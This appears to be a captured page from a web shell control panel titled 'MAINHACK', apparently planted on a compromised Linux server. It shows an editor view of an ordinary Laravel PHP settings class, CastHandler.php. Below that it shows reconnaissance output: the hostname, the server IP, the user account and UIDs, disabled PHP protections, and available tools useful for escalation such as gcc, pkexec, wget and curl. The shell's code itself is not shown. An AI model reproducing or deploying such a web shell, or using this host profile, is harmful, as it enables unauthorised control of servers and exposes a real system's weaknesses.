[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CastHandler.php
<?php namespace Smartisan\Settings; use Illuminate\Support\Arr; use Smartisan\Settings\Contracts\Castable; use Smartisan\Settings\Exceptions\CastHandlerException; class CastHandler { /** * Evaluate all casts on the given payload and return the new modified payload. * * @param mixed $payload * @return array */ public function handle($payload) { if (is_array($payload)) { $entries = $payload; array_walk_recursive($entries, function (&$payload) { $payload = $this->applyCast($payload); }); return $entries; } return $this->applyCast($payload); } /** * Determine the appropiate cast to the given payload value. * * @param mixed $payload * @return array */ protected function applyCast($payload) { $cast = $this->resolveCast($payload); if (! $cast->handler) { return [ '$value' => $payload, '$cast' => null, ]; } if (is_string($cast->handler) && class_exists($cast->handler) && Arr::exists(class_implements($cast->handler), Castable::class)) { return [ '$value' => app($cast->handler)->set($payload), '$cast' => $cast->type, ]; } if (is_object($cast->handler) && $cast->handler instanceof Castable) { return [ '$value' => ($cast->handler)->set($payload), '$cast' => get_class($payload), ]; } throw CastHandlerException::invalid($cast->handler); } /** * Resolve the corresponding cast of the given payload data type. * * @param mixed $payload * @return object */ protected function resolveCast($payload) { $casts = config('settings.casts'); foreach ($casts as $type => $handler) { if ($payload instanceof $type) { return (object) [ 'type' => $type, 'handler' => $handler, ]; } } return (object) [ 'type' => null, 'handler' => null, ]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002